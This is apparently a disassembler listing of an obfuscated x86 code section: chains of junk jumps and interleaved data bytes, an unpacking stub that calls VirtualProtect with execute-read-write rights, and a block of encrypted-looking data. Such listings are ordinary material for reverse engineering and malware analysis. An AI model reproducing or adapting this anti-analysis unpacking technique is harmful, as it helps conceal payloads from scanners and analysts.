4529h ; --------------------------------------------------------------------------- dw 5331h dd 8044FC39h db 88h ; --------------------------------------------------------------------------- loc_4676B5: ; CODE XREF: DMN1:loc_46769Fj add ebx, eax xchg esp, ecx jmp short loc_4676C4 ; --------------------------------------------------------------------------- pop esp jz short near ptr word_467716 retn ; --------------------------------------------------------------------------- sub eax, 9A7BD67Ch loc_4676C4: ; CODE XREF: DMN1:004676B9j jmp short loc_4676D4 ; --------------------------------------------------------------------------- dw 505Dh dd 0FFDD81E5h, 0E996E413h, 0ED90DC65h ; --------------------------------------------------------------------------- loc_4676D4: ; CODE XREF: DMN1:loc_4676C4j jmp short loc_4676E5 ; --------------------------------------------------------------------------- dw 0C8FAh dd 0A4AF7D55h, 0C0BAE0F4h, 0B6E63117h db 6Bh ; --------------------------------------------------------------------------- loc_4676E5: ; CODE XREF: DMN1:loc_4676D4j jmp short loc_4676F8 ; --------------------------------------------------------------------------- db 0F8h dd 94850DC5h, 71CDE0C7h, 9291039Bh, 0BAA376D8h ; --------------------------------------------------------------------------- loc_4676F8: ; CODE XREF: DMN1:loc_4676E5j mov esi, [ebx] jmp short loc_46771A ; --------------------------------------------------------------------------- dd 0E89834BCh, 0A5B0EDF0h, 0A97C98E9h, 0FE06AE2Eh, 0A8FE9B29h dd 0CE385DE0h db 0E3h, 0A4h word_467716 dw 9135h ; CODE XREF: DMN1:004676BCj ; --------------------------------------------------------------------------- xor ebp, ebp loc_46771A: ; CODE XREF: DMN1:004676FAj jmp short loc_46772F ; --------------------------------------------------------------------------- sub dh, [ebp-795B5B2Ah] aas wait adc dh, [eax+21h] adc [ebx+19A4B36Bh], esp sbb dh, bh loc_46772F: ; CODE XREF: DMN1:loc_46771Aj xchg ebp, ecx jmp short loc_467734 ; --------------------------------------------------------------------------- push ecx loc_467734: ; CODE XREF: DMN1:00467731j xchg ebp, edx jmp short loc_467745 ; --------------------------------------------------------------------------- aaa mov dh, dl xor al, 0Dh inc edx and [ebx-1Ah], al dec esi mov dh, 0F6h sahf loc_467745: ; CODE XREF: DMN1:00467736j jmp short loc_467751 ; --------------------------------------------------------------------------- db 66h dd 0B2D7CC8Ch, 70EF9CA0h db 0BBh ; --------------------------------------------------------------------------- loc_467751: ; CODE XREF: DMN1:loc_467745j jmp short loc_467771 ; --------------------------------------------------------------------------- db 0C5h dd 8A7FF1DEh, 3B938C2Ch, 0AF365FEDh, 0F6C444DAh, 88489EFCh dd 22DC7763h, 443EEEA7h db 90h ; --------------------------------------------------------------------------- loc_467771: ; CODE XREF: DMN1:loc_467751j xchg esi, edi xchg edx, ecx jmp short loc_467795 ; --------------------------------------------------------------------------- db 9Eh dd 429C6863h, 0DE9B6EC4h, 472B6091h, 774D54E5h, 0A0C666C7h dd 0EB79C851h, 0EFE27E4Dh db 6Fh ; --------------------------------------------------------------------------- loc_467795: ; CODE XREF: DMN1:00467775j jmp short loc_46779D ; --------------------------------------------------------------------------- db 0BCh ; --------------------------------------------------------------------------- cmp eax, 0D0A25BB0h loc_46779D: ; CODE XREF: DMN1:loc_467795j jmp short loc_4677A0 ; --------------------------------------------------------------------------- db 75h ; --------------------------------------------------------------------------- loc_4677A0: ; CODE XREF: DMN1:loc_46779Dj jmp short loc_4677BE ; --------------------------------------------------------------------------- dw 871Ah dd 34767EF8h, 0A02AF4D5h, 87EEAF4Fh, 39D8409Dh, 905719D3h dd 3DDF421Bh ; --------------------------------------------------------------------------- jge short loc_4677ED loc_4677BE: ; CODE XREF: DMN1:loc_4677A0j xchg ecx, ebp xor edi, [ebp+0] jmp short loc_4677DF ; --------------------------------------------------------------------------- db 0Fh, 0B1h, 65h dd 6DAA29B4h, 0C58A0CEAh, 0A98E38AEh, 0B73F574Ah, 0E37BD588h ; --------------------------------------------------------------------------- fnstcw word ptr [esi-6Ch] loc_4677DF: ; CODE XREF: DMN1:004677C3j jmp short loc_4677F5 ; --------------------------------------------------------------------------- db 0B6h, 63h, 37h dd 0BD25057h, 0CB1837CFh ; --------------------------------------------------------------------------- stc loc_4677ED: ; CODE XREF: DMN1:004677BCj sub [esi+6A6BE9C3h], dl db 3Eh xchg eax, ebx loc_4677F5: ; CODE XREF: DMN1:loc_4677DFj bswap ebx jmp short loc_4677FA ; --------------------------------------------------------------------------- db 65h ; --------------------------------------------------------------------------- loc_4677FA: ; CODE XREF: DMN1:004677F7j jmp short $+2 xchg esp, edi jmp short loc_46781A ; --------------------------------------------------------------------------- xor ds:0A51465F2h, ah xchg eax, edx nop jg short loc_467849 wait popa push ecx cmpsb sbb eax, 987D091Ch int 3 ; Trap to Debugger pop ebp mov ds:942E647Bh, al loc_46781A: ; CODE XREF: DMN1:004677FEj cmc jmp short loc_46781E ; --------------------------------------------------------------------------- db 78h ; --------------------------------------------------------------------------- loc_46781E: ; CODE XREF: DMN1:0046781Bj xchg esi, ecx jmp short loc_46783E ; --------------------------------------------------------------------------- dw 48F3h dd 253F0E7Dh, 1D601EFh, 786E80EBh, 8D64109Dh, 30688CE3h dd 0A850CDC5h ; --------------------------------------------------------------------------- mov ch, 14h loc_46783E: ; CODE XREF: DMN1:00467820j xchg ebp, esi jmp short loc_467845 ; --------------------------------------------------------------------------- dw 0EE22h db 3Ah ; --------------------------------------------------------------------------- loc_467845: ; CODE XREF: DMN1:00467840j jmp short loc_46785A ; --------------------------------------------------------------------------- dec edx push esp loc_467849: ; CODE XREF: DMN1:00467808j sub al, 9 jmp near ptr 92CC057Ah ; --------------------------------------------------------------------------- dd 0F7B6F416h, 0AEA8A665h ; --------------------------------------------------------------------------- add al, 0DDh loc_46785A: ; CODE XREF: DMN1:loc_467845j jmp short loc_46787A ; --------------------------------------------------------------------------- inc esi cmp eax, 5209D821h retn 5848h ; --------------------------------------------------------------------------- db 62h, 9, 99h dd 0BA92AF84h, 78BF50CAh, 0C8A5290Eh, 429360Ah db 6, 9 ; --------------------------------------------------------------------------- loc_46787A: ; CODE XREF: DMN1:loc_46785Aj xchg esp, [esi] test ecx, 0E9A69C5Ch stc cld std jmp short loc_4678A0 ; --------------------------------------------------------------------------- db 0C5h dd 86D6E8A4h, 8A98EA0Ch, 56BC4315h, 3C15448h, 2C4318ADh dd 5F64FF48h ; --------------------------------------------------------------------------- loc_4678A0: ; CODE XREF: DMN1:00467885j sub esp, 902A5E66h jmp short loc_4678BD ; --------------------------------------------------------------------------- dd 55C6D144h, 1DDE71C6h, 0AFAA20F8h, 5B762363h, 24EAE15Eh db 0EEh ; --------------------------------------------------------------------------- loc_4678BD: ; CODE XREF: DMN1:004678A6j jmp short loc_4678D9 ; --------------------------------------------------------------------------- db 10h ; --------------------------------------------------------------------------- jmp short loc_46792A ; --------------------------------------------------------------------------- dw 7D3Eh dd 0FEB9404Ah, 0B8A02E4Ah, 177131EBh, 4E6AC6B6h, 3187AD85h ; --------------------------------------------------------------------------- push cs loc_4678D9: ; CODE XREF: DMN1:loc_4678BDj jmp short loc_4678F1 ; --------------------------------------------------------------------------- db 48h dd 5212CC83h, 2A6B1DBBh, 0A2181F01h, 4582BB97h, 429F9B70h db 0E5h ; --------------------------------------------------------------------------- loc_4678F1: ; CODE XREF: DMN1:loc_4678D9j xchg edx, eax xchg edi, ebp jmp short loc_4678F9 ; --------------------------------------------------------------------------- db 95h db 1Bh ; --------------------------------------------------------------------------- loc_4678F9: ; CODE XREF: DMN1:004678F5j sbb ecx, 65FF6E4h jmp short loc_46791A ; --------------------------------------------------------------------------- db 0F3h, 6Ah, 0A0h dd 74CD4AAAh, 6CA8A0E9h, 2D3994BDh, 0C2A98550h, 80A57ABCh db 8Eh, 89h ; --------------------------------------------------------------------------- loc_46791A: ; CODE XREF: DMN1:004678FFj ror esp, 1 cmc jmp short loc_46793E ; --------------------------------------------------------------------------- db 28h dd 55B97FBBh, 0DB5458B9h db 44h, 17h ; --------------------------------------------------------------------------- loc_46792A: ; CODE XREF: DMN1:004678C0j out 1Fh, eax loopne locret_4679A5 cmc adc al, 34h adc [eax], esi daa push eax mov ds:6A8915D7h, al and dh, al ; --------------------------------------------------------------------------- db 0BCh, 29h ; --------------------------------------------------------------------------- loc_46793E: ; CODE XREF: DMN1:0046791Dj xchg esi, eax xchg esp, esp jmp short loc_467961 ; --------------------------------------------------------------------------- mov eax, ds:14E70F39h icebp rcr esi, cl retf ; --------------------------------------------------------------------------- db 96h, 0CFh, 43h dd 6A5E4306h, 2FBFF629h, 9C075986h, 0F60A984Ah db 0C1h ; --------------------------------------------------------------------------- loc_467961: ; CODE XREF: DMN1:00467942j neg ebp jmp short loc_46796E ; --------------------------------------------------------------------------- db 0ACh, 9Ah, 99h ; --------------------------------------------------------------------------- mov esi, [ebp-347F686Ch] loc_46796E: ; CODE XREF: DMN1:00467963j jmp short $+2 jmp short loc_467977 ; --------------------------------------------------------------------------- cwde xchg ah, [ebp-51h] icebp loc_467977: ; CODE XREF: DMN1:00467970j jmp short loc_467989 ; --------------------------------------------------------------------------- db 0BEh, 0B5h, 30h dd 0B64AC222h, 0BE476592h, 0A711469Dh db 0Bh ; --------------------------------------------------------------------------- loc_467989: ; CODE XREF: DMN1:loc_467977j jmp short loc_4679A0 ; --------------------------------------------------------------------------- db 0D6h dd 0D2527119h, 12A2A28Eh, 89FD5656h, 0D525A334h, 0DF9B76A8h ; --------------------------------------------------------------------------- loc_4679A0: ; CODE XREF: DMN1:loc_467989j xchg esp, [eax] jmp short loc_4679BE ; --------------------------------------------------------------------------- db 0E6h ; --------------------------------------------------------------------------- locret_4679A5: ; CODE XREF: DMN1:0046792Cj retn 0F64Dh ; --------------------------------------------------------------------------- dd 8B92333Bh, 7F672547h, 4C555C0Bh, 6D0B58FEh, 0D2ADFA6h db 0F4h, 69h ; --------------------------------------------------------------------------- loc_4679BE: ; CODE XREF: DMN1:004679A2j jmp short loc_4679C2 ; --------------------------------------------------------------------------- db 0F2h, 19h ; --------------------------------------------------------------------------- loc_4679C2: ; CODE XREF: DMN1:loc_4679BEj cld std xchg ebp, esi jmp short loc_4679E0 ; --------------------------------------------------------------------------- dd 0FE3F4E8Ah, 0B2597406h, 0ECA81F80h, 0C11BE23Eh, 64DB1CFh dd 25CB9917h ; --------------------------------------------------------------------------- loc_4679E0: ; CODE XREF: DMN1:004679C6j cld jmp short loc_467A01 ; --------------------------------------------------------------------------- neg byte ptr [eax] mov bl, 8 pop esi xchg bl, [ebx+23h] xchg eax, ecx cmpsd push esi and [edi+5057899Fh], esi mov dword ptr [ebx+0Eh], 0B154936Dh or al, 93h cmp al, 4 std xchg eax, ebp loc_467A01: ; CODE XREF: DMN1:004679E1j sub ebx, 0A5D8492Eh jmp short loc_467A27 ; --------------------------------------------------------------------------- db 11h, 78h, 8Ah dd 0B02F66ADh, 22885AEBh, 9AF0F1DAh, 1FB703D6h, 0A6D81906h dd 6D29AB39h db 8Ah, 8Ch, 0Dh ; --------------------------------------------------------------------------- loc_467A27: ; CODE XREF: DMN1:00467A07j mov ecx, edx xor esi, 0A3817216h jmp short loc_467A3F ; --------------------------------------------------------------------------- db 0FEh, 30h, 81h dd 0E243F719h, 0C9EC6347h db 21h, 99h, 58h ; --------------------------------------------------------------------------- loc_467A3F: ; CODE XREF: DMN1:00467A2Fj cmc xchg ecx, eax jmp short loc_467A4B ; --------------------------------------------------------------------------- dd 449A945Dh db 0B5h, 63h, 0F6h ; --------------------------------------------------------------------------- loc_467A4B: ; CODE XREF: DMN1:00467A42j clc jmp short loc_467A52 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- sbb ebx, [eax] setalc loc_467A52: ; CODE XREF: DMN1:00467A4Cj jmp short loc_467A59 ; --------------------------------------------------------------------------- aas db 26h sti and al, 0B6h loc_467A59: ; CODE XREF: DMN1:loc_467A52j xchg ebp, esp jmp short $+2 add eax, esp jmp short loc_467A6B ; --------------------------------------------------------------------------- push ebx fild dword ptr [esi] or cl, es:[ecx+2810C0Ch] loc_467A6B: ; CODE XREF: DMN1:00467A5Fj jmp short loc_467A8A ; --------------------------------------------------------------------------- db 0A8h, 42h, 0D0h ; --------------------------------------------------------------------------- jmp dword ptr [edi-35C56DBDh] ; --------------------------------------------------------------------------- dw 0E701h dd 2F4FAEFAh, 0DE8BCE14h, 857843DCh, 2C0D596Ah ; --------------------------------------------------------------------------- jnz short loc_467AA4 loc_467A8A: ; CODE XREF: DMN1:loc_467A6Bj jmp short loc_467AA0 ; --------------------------------------------------------------------------- dd 25AFBEE3h, 22EF7190h, 2116A3ACh, 9FE6D3CCh, 18AE091Ch ; --------------------------------------------------------------------------- loc_467AA0: ; CODE XREF: DMN1:loc_467A8Aj jmp short loc_467AB1 ; --------------------------------------------------------------------------- dw 0BA9Ch ; --------------------------------------------------------------------------- loc_467AA4: ; CODE XREF: DMN1:00467A88j sahf hlt ; --------------------------------------------------------------------------- mov edx, 0BB73458h loc_467AAB: ; CODE XREF: DMN1:00467B28j mov eax, 0BD9EAD4Eh retn ; --------------------------------------------------------------------------- loc_467AB1: ; CODE XREF: DMN1:loc_467AA0j jmp short loc_467ACA ; --------------------------------------------------------------------------- db 50h dd 3AB81101h, 2E7591A7h, 5EDFDF4Dh, 10B92598h, 0A8FA89F1h db 0FCh, 0F7h ; --------------------------------------------------------------------------- loc_467ACA: ; CODE XREF: DMN1:loc_467AB1j mov [eax], ebp jmp short loc_467AE1 ; --------------------------------------------------------------------------- retn 0B71Ah ; --------------------------------------------------------------------------- das sbb dl, 3 adc al, [edx+eax*8-2Dh] mov esi, 0B19BB05Ah retn 31F1h ; --------------------------------------------------------------------------- loc_467AE1: ; CODE XREF: DMN1:00467ACCj jmp short $+2 jmp short loc_467B04 ; --------------------------------------------------------------------------- aRnqQrlnfLNHs_0 db 9,'ï',0Ah db 'QLfÁL~N#hápè¼-´',0 dd 0F7A458B1h, 39E3273h ; --------------------------------------------------------------------------- loc_467B04: ; CODE XREF: DMN1:00467AE3j cmc jmp short loc_467B21 ; --------------------------------------------------------------------------- db 0E6h dd 0CB63A015h, 83D26C68h, 9FBC7A0Eh, 0B38C16FFh, 0ECBECD5Ch dd 21EDB6C1h ; --------------------------------------------------------------------------- push ebp loc_467B21: ; CODE XREF: DMN1:00467B05j jmp short loc_467B2A ; --------------------------------------------------------------------------- db 5Bh dd 0A44096CDh ; --------------------------------------------------------------------------- jns short loc_467AAB loc_467B2A: ; CODE XREF: DMN1:loc_467B21j jmp short loc_467B31 ; --------------------------------------------------------------------------- dd 5F46EEF8h ; --------------------------------------------------------------------------- dec edx loc_467B31: ; CODE XREF: DMN1:loc_467B2Aj xchg edi, ebx jmp short loc_467B45 ; --------------------------------------------------------------------------- db 0BFh, 0FBh, 61h dd 85E4CFAFh, 38B526D8h, 0E478AEEDh db 68h ; --------------------------------------------------------------------------- loc_467B45: ; CODE XREF: DMN1:00467B33j jmp short loc_467B62 ; --------------------------------------------------------------------------- db 1 dd 0DE7C152Bh, 9E724105h, 0CD22A6A5h, 2B486CF3h, 87FE52CAh dd 0E03AE970h db 0, 37h ; --------------------------------------------------------------------------- loc_467B62: ; CODE XREF: DMN1:loc_467B45j jmp short loc_467B6E ; --------------------------------------------------------------------------- dd 28F31E92h, 5B4A318Eh db 30h, 91h ; --------------------------------------------------------------------------- loc_467B6E: ; CODE XREF: DMN1:loc_467B62j stc jmp short loc_467B8C ; --------------------------------------------------------------------------- db 0F3h, 47h, 86h dd 93A42273h, 14391CF3h, 5D60E1AAh, 0FF386F3Eh, 0BC10BD15h dd 5EFA7FECh ; --------------------------------------------------------------------------- loc_467B8C: ; CODE XREF: DMN1:00467B6Fj xor ebp, 85E089B9h jmp short loc_467BA9 ; --------------------------------------------------------------------------- dd 0C0AAF44Dh, 6530B1ACh, 5F48A3BAh, 0C58C98AFh, 0A12A4032h db 4Ch ; --------------------------------------------------------------------------- loc_467BA9: ; CODE XREF: DMN1:00467B92j inc esp jmp short $+2 jmp short loc_467BB1 ; --------------------------------------------------------------------------- dw 956Dh db 0D5h ; --------------------------------------------------------------------------- loc_467BB1: ; CODE XREF: DMN1:00467BACj jmp short loc_467BB7 ; --------------------------------------------------------------------------- db 88h db 25h, 1Ah, 6Fh ; --------------------------------------------------------------------------- loc_467BB7: ; CODE XREF: DMN1:loc_467BB1j xchg ebx, ebp xchg ebx, edx jmp short loc_467BCD ; --------------------------------------------------------------------------- db 3Ch, 5Ch, 0C1h dd 615BA18Bh, 0EDFC2F02h, 3ECA04EEh db 0B0h ; --------------------------------------------------------------------------- loc_467BCD: ; CODE XREF: DMN1:00467BBBj jmp short loc_467BEC ; --------------------------------------------------------------------------- db 22h dd 0ACEDC906h, 1A5692C2h, 0E87F80E3h, 1B98969Eh, 0CFA9E3CFh dd 44939574h, 0D0F1B9ABh ; --------------------------------------------------------------------------- loc_467BEC: ; CODE XREF: DMN1:loc_467BCDj jmp short loc_467C02 ; --------------------------------------------------------------------------- dw 0A7B4h dd 0FDDD7674h, 34EB028Ah, 202F0225h, 57F94ADAh db 0D1h, 0A9h ; --------------------------------------------------------------------------- loc_467C02: ; CODE XREF: DMN1:loc_467BECj jmp short loc_467C17 ; --------------------------------------------------------------------------- dd 98011D99h, 9218C4CDh, 4FCA0651h, 0A995BE64h db 9Ch, 0C7h, 0B2h ; --------------------------------------------------------------------------- loc_467C17: ; CODE XREF: DMN1:loc_467C02j jmp short loc_467C24 ; --------------------------------------------------------------------------- db 8, 20h, 77h ; --------------------------------------------------------------------------- push eax adc dword ptr [esp+eax*2-22h], 0FFFFFF9Ah add [edx], ah loc_467C24: ; CODE XREF: DMN1:loc_467C17j jmp short loc_467C2A ; --------------------------------------------------------------------------- dw 0DF57h db 8Eh, 79h ; --------------------------------------------------------------------------- loc_467C2A: ; CODE XREF: DMN1:loc_467C24j jmp short loc_467C47 ; --------------------------------------------------------------------------- dd 717B12EFh, 0E7302562h, 0B766CD7Fh, 0FBF2C46h, 0D7EB9FCCh dd 0B95D7FE2h db 6, 0E1h, 96h ; --------------------------------------------------------------------------- loc_467C47: ; CODE XREF: DMN1:loc_467C2Aj jmp short loc_467C4B ; --------------------------------------------------------------------------- db 5Eh, 0C1h ; --------------------------------------------------------------------------- loc_467C4B: ; CODE XREF: DMN1:loc_467C47j xchg esp, ebx jmp short loc_467C60 ; --------------------------------------------------------------------------- db 54h dd 5B313D85h, 0A0825685h, 0E336E9B8h, 0E1B20030h ; --------------------------------------------------------------------------- loc_467C60: ; CODE XREF: DMN1:00467C4Dj add ebx, 2 sub edi, 60A6F7ADh cld shr edi, 8Ah jmp short loc_467C80 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dd 0B5487B89h, 0DD2F11EEh, 0B7FC01BBh, 58229F61h ; --------------------------------------------------------------------------- loc_467C80: ; CODE XREF: DMN1:00467C6Dj jmp short loc_467C85 ; --------------------------------------------------------------------------- dw 95EFh db 0C2h ; --------------------------------------------------------------------------- loc_467C85: ; CODE XREF: DMN1:loc_467C80j jmp short loc_467C8F ; --------------------------------------------------------------------------- db 0D9h dd 0CDF5781Eh db 31h, 0B1h, 77h ; --------------------------------------------------------------------------- loc_467C8F: ; CODE XREF: DMN1:loc_467C85j jmp short loc_467CA8 ; --------------------------------------------------------------------------- db 0ECh, 6Bh, 55h dd 0F6CE218Dh, 76752812h, 58C03C1Fh, 5E9BEC43h, 0EAD6A38Ah ; --------------------------------------------------------------------------- loc_467CA8: ; CODE XREF: DMN1:loc_467C8Fj add ebx, 1 jmp short loc_467CB0 ; --------------------------------------------------------------------------- pop eax jno short loc_467CB7 loc_467CB0: ; CODE XREF: DMN1:00467CABj xchg esp, ebx xchg ebx, edi xchg esi, ecx cld loc_467CB7: ; CODE XREF: DMN1:00467CAEj stc jmp short loc_467CBE ; --------------------------------------------------------------------------- dw 0EA71h db 4Ah, 0C2h ; --------------------------------------------------------------------------- loc_467CBE: ; CODE XREF: DMN1:00467CB8j jmp short loc_467CDD ; --------------------------------------------------------------------------- dd 0A3E47B81h, 5E10F79Ah, 3BD5653h, 7C0D6381h, 6D0D1FBh dd 4EEB6D9Bh, 0FD913C95h db 8Ah ; --------------------------------------------------------------------------- loc_467CDD: ; CODE XREF: DMN1:loc_467CBEj jmp short loc_467CE0 ; --------------------------------------------------------------------------- db 0BCh ; --------------------------------------------------------------------------- loc_467CE0: ; CODE XREF: DMN1:loc_467CDDj jmp short loc_467CFD ; --------------------------------------------------------------------------- dw 0CC44h dd 9A5706h, 0E62CE700h, 0FFE755BCh, 0BAA70E73h, 89DD2691h dd 0D5BEB3F8h db 0EAh ; --------------------------------------------------------------------------- loc_467CFD: ; CODE XREF: DMN1:loc_467CE0j xchg edi, ecx jmp short loc_467D1B ; --------------------------------------------------------------------------- db 62h, 28h, 23h dd 0FE6895BFh, 149DE561h, 20217A0Bh, 3F94274Bh, 0E6D1A4EAh db 0B4h, 35h, 11h ; --------------------------------------------------------------------------- loc_467D1B: ; CODE XREF: DMN1:00467CFFj jmp short loc_467D35 ; --------------------------------------------------------------------------- db 0Eh, 0ADh, 7Bh dd 0A42C9286h, 7B3331D9h, 0E63AA0CAh, 2CB0F717h, 3DB0207Fh db 6Dh ; --------------------------------------------------------------------------- loc_467D35: ; CODE XREF: DMN1:loc_467D1Bj jmp short loc_467D3E ; --------------------------------------------------------------------------- db 25h dd 0A3C36B68h db 0CFh, 0B4h ; --------------------------------------------------------------------------- loc_467D3E: ; CODE XREF: DMN1:loc_467D35j jmp short loc_467D52 ; --------------------------------------------------------------------------- dd 575FEDD8h, 0D9FF7C5Ch, 359E350h, 0BA83AB19h db 28h, 43h ; --------------------------------------------------------------------------- loc_467D52: ; CODE XREF: DMN1:loc_467D3Ej sub ebp, 1 jz short loc_467DA4 dec edx xchg ebp, esp stc jmp short loc_467D73 ; --------------------------------------------------------------------------- db 0C1h, 0AEh, 94h dd 9CD4ECC0h, 0D7C000BEh, 42F05349h, 0AB4FCF58h ; --------------------------------------------------------------------------- xchg eax, ebx push ebx push edi loc_467D73: ; CODE XREF: DMN1:00467D5Bj jmp short loc_467D7A ; --------------------------------------------------------------------------- db 0E8h, 34h, 80h ; --------------------------------------------------------------------------- cmp al, 22h loc_467D7A: ; CODE XREF: DMN1:loc_467D73j xchg edx, esp clc xor edi, 9945EE68h jmp short loc_467D9A ; --------------------------------------------------------------------------- db 0A3h, 0BEh, 9Fh dd 0BBF81B23h, 0CBD8B946h, 0CFC73E7h, 0E93F11D4h db 12h, 6Eh ; --------------------------------------------------------------------------- loc_467D9A: ; CODE XREF: DMN1:00467D83j xchg eax, ecx clc xchg esp, esi jmp loc_467552 ; --------------------------------------------------------------------------- loc_467DA4: ; CODE XREF: DMN1:00467D55j xchg ebp, ecx xchg esp, esi jmp short loc_467DB3 ; --------------------------------------------------------------------------- dw 0FBD8h dd 0EA1B1CFh db 0E6h, 0A1h, 5Ch ; --------------------------------------------------------------------------- loc_467DB3: ; CODE XREF: DMN1:00467DA8j cld jmp short loc_467DCC ; --------------------------------------------------------------------------- jnp short loc_467DF5 adc eax, 0AFA7F218h pop ecx push cs paddusb mm1, mm6 mov ds:0EBE94B41h, al mov edx, 2B270FB2h loc_467DCC: ; CODE XREF: DMN1:00467DB4j jmp short loc_467DE9 ; --------------------------------------------------------------------------- dw 58B3h dd 74A20F3Fh, 6ECC21F5h, 0B74D3992h, 0FD7C03AEh, 4FF7A2ACh dd 0DBE18C7Eh ; --------------------------------------------------------------------------- dec eax loc_467DE9: ; CODE XREF: DMN1:loc_467DCCj jmp short loc_467E04 ; --------------------------------------------------------------------------- db 0BDh dd 2FE2217Ch, 8D26257Ch db 0B1h ; --------------------------------------------------------------------------- loc_467DF5: ; CODE XREF: DMN1:00467DB6j sub [edi-72h], ch clc or edx, [ebx] das cmp al, 6Dh ; CODE XREF: DMN1:loc_467E0Ej jz short loc_467E1A sbb ecx, eax aas inc ecx loc_467E04: ; CODE XREF: DMN1:loc_467DE9j cmc jmp short loc_467E11 ; --------------------------------------------------------------------------- db 88h dd 252E3BA6h ; --------------------------------------------------------------------------- test al, 0D2h loc_467E0E: ; CODE XREF: DMN1:00467E28j jnz short near ptr loc_467DFC+1 xchg eax, edx loc_467E11: ; CODE XREF: DMN1:00467E05j jmp short loc_467E2C ; --------------------------------------------------------------------------- db 0ADh dd 0A4AF25F0h ; --------------------------------------------------------------------------- aad 23h loc_467E1A: ; CODE XREF: DMN1:00467DFEj or [ebx-1], ebx push eax sub al, 0E5h rep mov dword ptr [ebx+11h], 32A5AE46h jecxz short loc_467E0E add ebp, edi loc_467E2C: ; CODE XREF: DMN1:loc_467E11j jmp short loc_467E3D ; --------------------------------------------------------------------------- dw 0C2CDh ; --------------------------------------------------------------------------- mov ch, 0D1h dec ecx retf 279Ah ; --------------------------------------------------------------------------- dw 736Fh dd 58B6D787h db 75h ; --------------------------------------------------------------------------- loc_467E3D: ; CODE XREF: DMN1:loc_467E2Cj jmp short $+2 jmp short loc_467E58 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 0F56Ch ; --------------------------------------------------------------------------- adc [edi-7EA27F8Eh], dl mov ds:57BF2A33h, eax aad 9 nop adc [ebx+ecx*2-60h], dh stc cwde loc_467E58: ; CODE XREF: DMN1:00467E3Fj jmp short loc_467E6E ; --------------------------------------------------------------------------- mov eax, 4294785Ch cmp ah, dl retn 0AEF2h ; --------------------------------------------------------------------------- dd 9C237B83h, 28054FB2h db 73h, 84h ; --------------------------------------------------------------------------- loc_467E6E: ; CODE XREF: DMN1:loc_467E58j stc jmp short loc_467E7E ; --------------------------------------------------------------------------- db 0C5h, 0EDh, 11h ; --------------------------------------------------------------------------- mov dword ptr [edx+6EE3CDEDh], 295FF01h loc_467E7E: ; CODE XREF: DMN1:00467E6Fj jmp short loc_467E90 ; --------------------------------------------------------------------------- dd 0D49E9080h, 5B838CB9h, 0CF7D53F0h, 3B6C46FCh ; --------------------------------------------------------------------------- loc_467E90: ; CODE XREF: DMN1:loc_467E7Ej pop edi jmp short loc_467E9E ; --------------------------------------------------------------------------- db 20h dd 6FC12F13h, 0F4FC0CE5h db 0Bh, 90h ; --------------------------------------------------------------------------- loc_467E9E: ; CODE XREF: DMN1:00467E91j cmc jmp short loc_467EAE ; --------------------------------------------------------------------------- db 1Fh, 96h, 36h db 90h db 34h, 73h, 48h dd 9BDF7763h db 6Dh, 0A9h ; --------------------------------------------------------------------------- loc_467EAE: ; CODE XREF: DMN1:00467E9Fj jmp short loc_467ECB ; --------------------------------------------------------------------------- dd 0A57299E4h, 0B846DCh, 0BE734FE3h, 0F378EC0Ah, 0D0CC464Eh dd 6C92F1F2h ; --------------------------------------------------------------------------- xor [ebx+7Fh], dh loc_467ECB: ; CODE XREF: DMN1:loc_467EAEj jmp short loc_467EEB ; --------------------------------------------------------------------------- db 0ADh, 43h, 0A5h dd 2E1A73B1h, 8178335Dh, 0D439D8B2h, 0A4FA98EFh, 966B27FBh dd 11303089h ; --------------------------------------------------------------------------- les ebx, [eax] dec ebp loc_467EEB: ; CODE XREF: DMN1:loc_467ECBj jmp short loc_467F03 ; --------------------------------------------------------------------------- db 67h, 0BDh, 5Eh dd 194784DAh, 8FF7123Bh, 4AC1CC38h, 0C5F256DDh db 0Eh, 51h, 7Fh ; --------------------------------------------------------------------------- loc_467F03: ; CODE XREF: DMN1:loc_467EEBj shl ebx, 19h jmp loc_466EEC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_467F0B proc near ; CODE XREF: DMN1:00467F75p var_24 = dword ptr -24h var_18 = byte ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor edx, 391E7942h xor edx, 5FF57DEDh mov eax, 10000000h add edx, eax add esp, 10h mov ebp, [esp-10h+arg_4] push edx pusha push 0 lea edx, [esp+18h+var_18] push edx push 40h push 15B32h add [esp+24h+var_24], 1000h push eax add eax, 1000h add eax, 46023h call dword ptr [eax] add esp, 4 popa retn sub_467F0B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, 8000h mov edx, 4C271B38h mov eax, 383D2E0Bh loc_467F65: ; CODE XREF: DMN1:00467F72j add eax, 19776617h xor edx, eax add dx, ax rol edx, 7 loop loc_467F65 push eax call sub_467F0B leave retn ; --------------------------------------------------------------------------- dd 17h dup(0) dd 45000100h, 50746978h, 65636F72h, 1007373h, 72695600h dd 6C617574h, 746F7250h, 746365h, 47000h, 4700Eh, 0 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 2 dup(0) dd 0FFFFFF00h, 4702BFFh, 4701F00h, 5 dup(0) dd 4600000h, 1000h, 3B4500h, 4Fh dup(0) dd 0F3B5EF00h, 68A86A29h, 528DA2A1h, 0EC713FFDh, 0B593133Ch dd 8C87A9EEh, 0D3CB325h, 855501DBh, 0C1EDC085h, 33D774AEh dd 0AB54FEA7h, 861A5491h, 0F7469B2Bh, 0C84328Bh, 0E0A14902h dd 8BCC5355h, 668A711Ah, 0F67A2843h, 5F2FA6Ch, 44EBF027h dd 3A36388Ch, 0D2F9C9C0h, 7A77FC6Bh, 4D39297Ch, 0B7C91FC1h dd 276CB588h, 7E9D62Ch, 3B419E6Dh, 0DE853F34h, 0FEA104D4h dd 0B960F10Ch, 2EB18A52h, 498510F2h, 0E2B7D3B6h, 3B56E5C3h dd 1485C1A2h, 3B77A76Ch, 0EC79E58Fh, 3B8039EBh, 9F4D0784h dd 0A358D802h, 0E364946Dh, 60B64687h, 0AA5EAB45h, 7EB1209Bh dd 6A0531C7h, 2EADD8C0h, 3F1F06BFh, 0CADC43BCh, 88BF6E6Eh dd 0E3C81199h, 0F22EB997h, 56735388h, 31A2478h, 21636B8Bh dd 0CBDFC6BEh, 8FA3E59Ch, 8A7B6BC4h, 836A372Ch, 0E2C6FF6Eh dd 0EE199261h, 